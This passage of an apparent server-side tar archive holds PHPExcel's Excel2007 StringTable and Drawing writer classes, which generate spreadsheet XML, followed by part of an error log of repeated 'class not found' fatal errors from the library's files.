$this->flipStringTable($aStringTable); // Loop through cells foreach ($pSheet->getCellCollection() as $cellID) { $cell = $pSheet->getCell($cellID); $cellValue = $cell->getValue(); if (!is_object($cellValue) && ($cellValue !== null) && $cellValue !== '' && !isset($aFlippedStringTable[$cellValue]) && ($cell->getDataType() == PHPExcel_Cell_DataType::TYPE_STRING || $cell->getDataType() == PHPExcel_Cell_DataType::TYPE_STRING2 || $cell->getDataType() == PHPExcel_Cell_DataType::TYPE_NULL)) { $aStringTable[] = $cellValue; $aFlippedStringTable[$cellValue] = true; } elseif ($cellValue instanceof PHPExcel_RichText && ($cellValue !== null) && !isset($aFlippedStringTable[$cellValue->getHashCode()])) { $aStringTable[] = $cellValue; $aFlippedStringTable[$cellValue->getHashCode()] = true; } } return $aStringTable; } else { throw new PHPExcel_Writer_Exception("Invalid PHPExcel_Worksheet object passed."); } } /** * Write string table to XML format * * @param string[] $pStringTable * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeStringTable($pStringTable = null) { if ($pStringTable !== null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // String table $objWriter->startElement('sst'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); $objWriter->writeAttribute('uniqueCount', count($pStringTable)); // Loop through string table foreach ($pStringTable as $textElement) { $objWriter->startElement('si'); if (! $textElement instanceof PHPExcel_RichText) { $textToWrite = PHPExcel_Shared_String::ControlCharacterPHP2OOXML($textElement); $objWriter->startElement('t'); if ($textToWrite !== trim($textToWrite)) { $objWriter->writeAttribute('xml:space', 'preserve'); } $objWriter->writeRawData($textToWrite); $objWriter->endElement(); } elseif ($textElement instanceof PHPExcel_RichText) { $this->writeRichText($objWriter, $textElement); } $objWriter->endElement(); } $objWriter->endElement(); return $objWriter->getData(); } else { throw new PHPExcel_Writer_Exception("Invalid string table array passed."); } } /** * Write Rich Text * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_RichText $pRichText Rich text * @param string $prefix Optional Namespace prefix * @throws PHPExcel_Writer_Exception */ public function writeRichText(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_RichText $pRichText = null, $prefix = null) { if ($prefix !== null) { $prefix .= ':'; } // Loop through rich text elements $elements = $pRichText->getRichTextElements(); foreach ($elements as $element) { // r $objWriter->startElement($prefix.'r'); // rPr if ($element instanceof PHPExcel_RichText_Run) { // rPr $objWriter->startElement($prefix.'rPr'); // rFont $objWriter->startElement($prefix.'rFont'); $objWriter->writeAttribute('val', $element->getFont()->getName()); $objWriter->endElement(); // Bold $objWriter->startElement($prefix.'b'); $objWriter->writeAttribute('val', ($element->getFont()->getBold() ? 'true' : 'false')); $objWriter->endElement(); // Italic $objWriter->startElement($prefix.'i'); $objWriter->writeAttribute('val', ($element->getFont()->getItalic() ? 'true' : 'false')); $objWriter->endElement(); // Superscript / subscript if ($element->getFont()->getSuperScript() || $element->getFont()->getSubScript()) { $objWriter->startElement($prefix.'vertAlign'); if ($element->getFont()->getSuperScript()) { $objWriter->writeAttribute('val', 'superscript'); } elseif ($element->getFont()->getSubScript()) { $objWriter->writeAttribute('val', 'subscript'); } $objWriter->endElement(); } // Strikethrough $objWriter->startElement($prefix.'strike'); $objWriter->writeAttribute('val', ($element->getFont()->getStrikethrough() ? 'true' : 'false')); $objWriter->endElement(); // Color $objWriter->startElement($prefix.'color'); $objWriter->writeAttribute('rgb', $element->getFont()->getColor()->getARGB()); $objWriter->endElement(); // Size $objWriter->startElement($prefix.'sz'); $objWriter->writeAttribute('val', $element->getFont()->getSize()); $objWriter->endElement(); // Underline $objWriter->startElement($prefix.'u'); $objWriter->writeAttribute('val', $element->getFont()->getUnderline()); $objWriter->endElement(); $objWriter->endElement(); } // t $objWriter->startElement($prefix.'t'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeRawData(PHPExcel_Shared_String::ControlCharacterPHP2OOXML($element->getText())); $objWriter->endElement(); $objWriter->endElement(); } } /** * Write Rich Text * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string|PHPExcel_RichText $pRichText text string or Rich text * @param string $prefix Optional Namespace prefix * @throws PHPExcel_Writer_Exception */ public function writeRichTextForCharts(PHPExcel_Shared_XMLWriter $objWriter = null, $pRichText = null, $prefix = null) { if (!$pRichText instanceof PHPExcel_RichText) { $textRun = $pRichText; $pRichText = new PHPExcel_RichText(); $pRichText->createTextRun($textRun); } if ($prefix !== null) { $prefix .= ':'; } // Loop through rich text elements $elements = $pRichText->getRichTextElements(); foreach ($elements as $element) { // r $objWriter->startElement($prefix.'r'); // rPr $objWriter->startElement($prefix.'rPr'); // Bold $objWriter->writeAttribute('b', ($element->getFont()->getBold() ? 1 : 0)); // Italic $objWriter->writeAttribute('i', ($element->getFont()->getItalic() ? 1 : 0)); // Underline $underlineType = $element->getFont()->getUnderline(); switch ($underlineType) { case 'single': $underlineType = 'sng'; break; case 'double': $underlineType = 'dbl'; break; } $objWriter->writeAttribute('u', $underlineType); // Strikethrough $objWriter->writeAttribute('strike', ($element->getFont()->getStrikethrough() ? 'sngStrike' : 'noStrike')); // rFont $objWriter->startElement($prefix.'latin'); $objWriter->writeAttribute('typeface', $element->getFont()->getName()); $objWriter->endElement(); // Superscript / subscript // if ($element->getFont()->getSuperScript() || $element->getFont()->getSubScript()) { // $objWriter->startElement($prefix.'vertAlign'); // if ($element->getFont()->getSuperScript()) { // $objWriter->writeAttribute('val', 'superscript'); // } elseif ($element->getFont()->getSubScript()) { // $objWriter->writeAttribute('val', 'subscript'); // } // $objWriter->endElement(); // } // $objWriter->endElement(); // t $objWriter->startElement($prefix.'t'); // $objWriter->writeAttribute('xml:space', 'preserve'); // Excel2010 accepts, Excel2007 complains $objWriter->writeRawData(PHPExcel_Shared_String::ControlCharacterPHP2OOXML($element->getText())); $objWriter->endElement(); $objWriter->endElement(); } } /** * Flip string table (for index searching) * * @param array $stringTable Stringtable * @return array */ public function flipStringTable($stringTable = array()) { // Return value $returnValue = array(); // Loop through stringtable and add flipped items to $returnValue foreach ($stringTable as $key => $value) { if (! $value instanceof PHPExcel_RichText) { $returnValue[$value] = $key; } elseif ($value instanceof PHPExcel_RichText) { $returnValue[$value->getHashCode()] = $key; } } return $returnValue; } } PHPExcel/Writer/Excel2007/Drawing.php 0000644 00000055202 14642534107 0013117 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Drawing * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Drawing extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write drawings to XML format * * @param PHPExcel_Worksheet $pWorksheet * @param int &$chartRef Chart ID * @param boolean $includeCharts Flag indicating if we should include drawing details for charts * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeDrawings(PHPExcel_Worksheet $pWorksheet = null, &$chartRef, $includeCharts = false) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // xdr:wsDr $objWriter->startElement('xdr:wsDr'); $objWriter->writeAttribute('xmlns:xdr', 'http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing'); $objWriter->writeAttribute('xmlns:a', 'http://schemas.openxmlformats.org/drawingml/2006/main'); // Loop through images and write drawings $i = 1; $iterator = $pWorksheet->getDrawingCollection()->getIterator(); while ($iterator->valid()) { $this->writeDrawing($objWriter, $iterator->current(), $i); $iterator->next(); ++$i; } if ($includeCharts) { $chartCount = $pWorksheet->getChartCount(); // Loop through charts and write the chart position if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $this->writeChart($objWriter, $pWorksheet->getChartByIndex($c), $c+$i); } } } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write drawings to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Chart $pChart * @param int $pRelationId * @throws PHPExcel_Writer_Exception */ public function writeChart(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Chart $pChart = null, $pRelationId = -1) { $tl = $pChart->getTopLeftPosition(); $tl['colRow'] = PHPExcel_Cell::coordinateFromString($tl['cell']); $br = $pChart->getBottomRightPosition(); $br['colRow'] = PHPExcel_Cell::coordinateFromString($br['cell']); $objWriter->startElement('xdr:twoCellAnchor'); $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', PHPExcel_Cell::columnIndexFromString($tl['colRow'][0]) - 1); $objWriter->writeElement('xdr:colOff', PHPExcel_Shared_Drawing::pixelsToEMU($tl['xOffset'])); $objWriter->writeElement('xdr:row', $tl['colRow'][1] - 1); $objWriter->writeElement('xdr:rowOff', PHPExcel_Shared_Drawing::pixelsToEMU($tl['yOffset'])); $objWriter->endElement(); $objWriter->startElement('xdr:to'); $objWriter->writeElement('xdr:col', PHPExcel_Cell::columnIndexFromString($br['colRow'][0]) - 1); $objWriter->writeElement('xdr:colOff', PHPExcel_Shared_Drawing::pixelsToEMU($br['xOffset'])); $objWriter->writeElement('xdr:row', $br['colRow'][1] - 1); $objWriter->writeElement('xdr:rowOff', PHPExcel_Shared_Drawing::pixelsToEMU($br['yOffset'])); $objWriter->endElement(); $objWriter->startElement('xdr:graphicFrame'); $objWriter->writeAttribute('macro', ''); $objWriter->startElement('xdr:nvGraphicFramePr'); $objWriter->startElement('xdr:cNvPr'); $objWriter->writeAttribute('name', 'Chart '.$pRelationId); $objWriter->writeAttribute('id', 1025 * $pRelationId); $objWriter->endElement(); $objWriter->startElement('xdr:cNvGraphicFramePr'); $objWriter->startElement('a:graphicFrameLocks'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('xdr:xfrm'); $objWriter->startElement('a:off'); $objWriter->writeAttribute('x', '0'); $objWriter->writeAttribute('y', '0'); $objWriter->endElement(); $objWriter->startElement('a:ext'); $objWriter->writeAttribute('cx', '0'); $objWriter->writeAttribute('cy', '0'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('a:graphic'); $objWriter->startElement('a:graphicData'); $objWriter->writeAttribute('uri', 'http://schemas.openxmlformats.org/drawingml/2006/chart'); $objWriter->startElement('c:chart'); $objWriter->writeAttribute('xmlns:c', 'http://schemas.openxmlformats.org/drawingml/2006/chart'); $objWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'); $objWriter->writeAttribute('r:id', 'rId'.$pRelationId); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('xdr:clientData'); $objWriter->endElement(); $objWriter->endElement(); } /** * Write drawings to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet_BaseDrawing $pDrawing * @param int $pRelationId * @throws PHPExcel_Writer_Exception */ public function writeDrawing(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet_BaseDrawing $pDrawing = null, $pRelationId = -1) { if ($pRelationId >= 0) { // xdr:oneCellAnchor $objWriter->startElement('xdr:oneCellAnchor'); // Image location $aCoordinates = PHPExcel_Cell::coordinateFromString($pDrawing->getCoordinates()); $aCoordinates[0] = PHPExcel_Cell::columnIndexFromString($aCoordinates[0]); // xdr:from $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', $aCoordinates[0] - 1); $objWriter->writeElement('xdr:colOff', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getOffsetX())); $objWriter->writeElement('xdr:row', $aCoordinates[1] - 1); $objWriter->writeElement('xdr:rowOff', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getOffsetY())); $objWriter->endElement(); // xdr:ext $objWriter->startElement('xdr:ext'); $objWriter->writeAttribute('cx', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getWidth())); $objWriter->writeAttribute('cy', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getHeight())); $objWriter->endElement(); // xdr:pic $objWriter->startElement('xdr:pic'); // xdr:nvPicPr $objWriter->startElement('xdr:nvPicPr'); // xdr:cNvPr $objWriter->startElement('xdr:cNvPr'); $objWriter->writeAttribute('id', $pRelationId); $objWriter->writeAttribute('name', $pDrawing->getName()); $objWriter->writeAttribute('descr', $pDrawing->getDescription()); $objWriter->endElement(); // xdr:cNvPicPr $objWriter->startElement('xdr:cNvPicPr'); // a:picLocks $objWriter->startElement('a:picLocks'); $objWriter->writeAttribute('noChangeAspect', '1'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // xdr:blipFill $objWriter->startElement('xdr:blipFill'); // a:blip $objWriter->startElement('a:blip'); $objWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'); $objWriter->writeAttribute('r:embed', 'rId' . $pRelationId); $objWriter->endElement(); // a:stretch $objWriter->startElement('a:stretch'); $objWriter->writeElement('a:fillRect', null); $objWriter->endElement(); $objWriter->endElement(); // xdr:spPr $objWriter->startElement('xdr:spPr'); // a:xfrm $objWriter->startElement('a:xfrm'); $objWriter->writeAttribute('rot', PHPExcel_Shared_Drawing::degreesToAngle($pDrawing->getRotation())); $objWriter->endElement(); // a:prstGeom $objWriter->startElement('a:prstGeom'); $objWriter->writeAttribute('prst', 'rect'); // a:avLst $objWriter->writeElement('a:avLst', null); $objWriter->endElement(); // // a:solidFill // $objWriter->startElement('a:solidFill'); // // a:srgbClr // $objWriter->startElement('a:srgbClr'); // $objWriter->writeAttribute('val', 'FFFFFF'); ///* SHADE // // a:shade // $objWriter->startElement('a:shade'); // $objWriter->writeAttribute('val', '85000'); // $objWriter->endElement(); //*/ // $objWriter->endElement(); // $objWriter->endElement(); /* // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '88900'); $objWriter->writeAttribute('cap', 'sq'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', 'FFFFFF'); $objWriter->endElement(); $objWriter->endElement(); // a:miter $objWriter->startElement('a:miter'); $objWriter->writeAttribute('lim', '800000'); $objWriter->endElement(); $objWriter->endElement(); */ if ($pDrawing->getShadow()->getVisible()) { // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getShadow()->getBlurRadius())); $objWriter->writeAttribute('dist', PHPExcel_Shared_Drawing::pixelsToEMU($pDrawing->getShadow()->getDistance())); $objWriter->writeAttribute('dir', PHPExcel_Shared_Drawing::degreesToAngle($pDrawing->getShadow()->getDirection())); $objWriter->writeAttribute('algn', $pDrawing->getShadow()->getAlignment()); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', $pDrawing->getShadow()->getColor()->getRGB()); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $pDrawing->getShadow()->getAlpha() * 1000); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } /* // a:scene3d $objWriter->startElement('a:scene3d'); // a:camera $objWriter->startElement('a:camera'); $objWriter->writeAttribute('prst', 'orthographicFront'); $objWriter->endElement(); // a:lightRig $objWriter->startElement('a:lightRig'); $objWriter->writeAttribute('rig', 'twoPt'); $objWriter->writeAttribute('dir', 't'); // a:rot $objWriter->startElement('a:rot'); $objWriter->writeAttribute('lat', '0'); $objWriter->writeAttribute('lon', '0'); $objWriter->writeAttribute('rev', '0'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); */ /* // a:sp3d $objWriter->startElement('a:sp3d'); // a:bevelT $objWriter->startElement('a:bevelT'); $objWriter->writeAttribute('w', '25400'); $objWriter->writeAttribute('h', '19050'); $objWriter->endElement(); // a:contourClr $objWriter->startElement('a:contourClr'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', 'FFFFFF'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); */ $objWriter->endElement(); $objWriter->endElement(); // xdr:clientData $objWriter->writeElement('xdr:clientData', null); $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Write VML header/footer images to XML format * * @param PHPExcel_Worksheet $pWorksheet * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeVMLHeaderFooterImages(PHPExcel_Worksheet $pWorksheet = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Header/footer images $images = $pWorksheet->getHeaderFooter()->getImages(); // xml $objWriter->startElement('xml'); $objWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml'); $objWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office'); $objWriter->writeAttribute('xmlns:x', 'urn:schemas-microsoft-com:office:excel'); // o:shapelayout $objWriter->startElement('o:shapelayout'); $objWriter->writeAttribute('v:ext', 'edit'); // o:idmap $objWriter->startElement('o:idmap'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('data', '1'); $objWriter->endElement(); $objWriter->endElement(); // v:shapetype $objWriter->startElement('v:shapetype'); $objWriter->writeAttribute('id', '_x0000_t75'); $objWriter->writeAttribute('coordsize', '21600,21600'); $objWriter->writeAttribute('o:spt', '75'); $objWriter->writeAttribute('o:preferrelative', 't'); $objWriter->writeAttribute('path', 'm@4@5l@4@11@9@11@9@5xe'); $objWriter->writeAttribute('filled', 'f'); $objWriter->writeAttribute('stroked', 'f'); // v:stroke $objWriter->startElement('v:stroke'); $objWriter->writeAttribute('joinstyle', 'miter'); $objWriter->endElement(); // v:formulas $objWriter->startElement('v:formulas'); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'if lineDrawn pixelLineWidth 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @0 1 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum 0 0 @1'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @2 1 2'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @3 21600 pixelWidth'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @3 21600 pixelHeight'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @0 0 1'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @6 1 2'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @7 21600 pixelWidth'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @8 21600 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @7 21600 pixelHeight'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @10 21600 0'); $objWriter->endElement(); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('o:extrusionok', 'f'); $objWriter->writeAttribute('gradientshapeok', 't'); $objWriter->writeAttribute('o:connecttype', 'rect'); $objWriter->endElement(); // o:lock $objWriter->startElement('o:lock'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('aspectratio', 't'); $objWriter->endElement(); $objWriter->endElement(); // Loop through images foreach ($images as $key => $value) { $this->writeVMLHeaderFooterImage($objWriter, $key, $value); } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write VML comment to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pReference Reference * @param PHPExcel_Worksheet_HeaderFooterDrawing $pImage Image * @throws PHPExcel_Writer_Exception */ private function writeVMLHeaderFooterImage(PHPExcel_Shared_XMLWriter $objWriter = null, $pReference = '', PHPExcel_Worksheet_HeaderFooterDrawing $pImage = null) { // Calculate object id preg_match('{(\d+)}', md5($pReference), $m); $id = 1500 + (substr($m[1], 0, 2) * 1); // Calculate offset $width = $pImage->getWidth(); $height = $pImage->getHeight(); $marginLeft = $pImage->getOffsetX(); $marginTop = $pImage->getOffsetY(); // v:shape $objWriter->startElement('v:shape'); $objWriter->writeAttribute('id', $pReference); $objWriter->writeAttribute('o:spid', '_x0000_s' . $id); $objWriter->writeAttribute('type', '#_x0000_t75'); $objWriter->writeAttribute('style', "position:absolute;margin-left:{$marginLeft}px;margin-top:{$marginTop}px;width:{$width}px;height:{$height}px;z-index:1"); // v:imagedata $objWriter->startElement('v:imagedata'); $objWriter->writeAttribute('o:relid', 'rId' . $pReference); $objWriter->writeAttribute('o:title', $pImage->getName()); $objWriter->endElement(); // o:lock $objWriter->startElement('o:lock'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('rotation', 't'); $objWriter->endElement(); $objWriter->endElement(); } /** * Get an array of all drawings * * @param PHPExcel $pPHPExcel * @return PHPExcel_Worksheet_Drawing[] All drawings in PHPExcel * @throws PHPExcel_Writer_Exception */ public function allDrawings(PHPExcel $pPHPExcel = null) { // Get an array of all drawings $aDrawings = array(); // Loop through PHPExcel $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // Loop through images and add to array $iterator = $pPHPExcel->getSheet($i)->getDrawingCollection()->getIterator(); while ($iterator->valid()) { $aDrawings[] = $iterator->current(); $iterator->next(); } } return $aDrawings; } } PHPExcel/Writer/Excel2007/error_log 0000644 00000140350 14642534107 0012727 0 ustar 00 [20-May-2024 13:25:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [20-May-2024 13:27:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [20-May-2024 13:30:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [20-May-2024 13:32:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 13:34:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [20-May-2024 13:36:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [20-May-2024 13:39:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [20-May-2024 13:57:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [20-May-2024 13:59:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [20-May-2024 14:03:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [20-May-2024 14:06:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [20-May-2024 14:08:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [20-May-2024 14:12:49 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 14:15:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [20-May-2024 14:17:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [20-May-2024 14:19:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [20-May-2024 14:26:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [20-May-2024 14:28:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 14:30:48 UTC] PHP Fatal error: Uncaught Error: Class 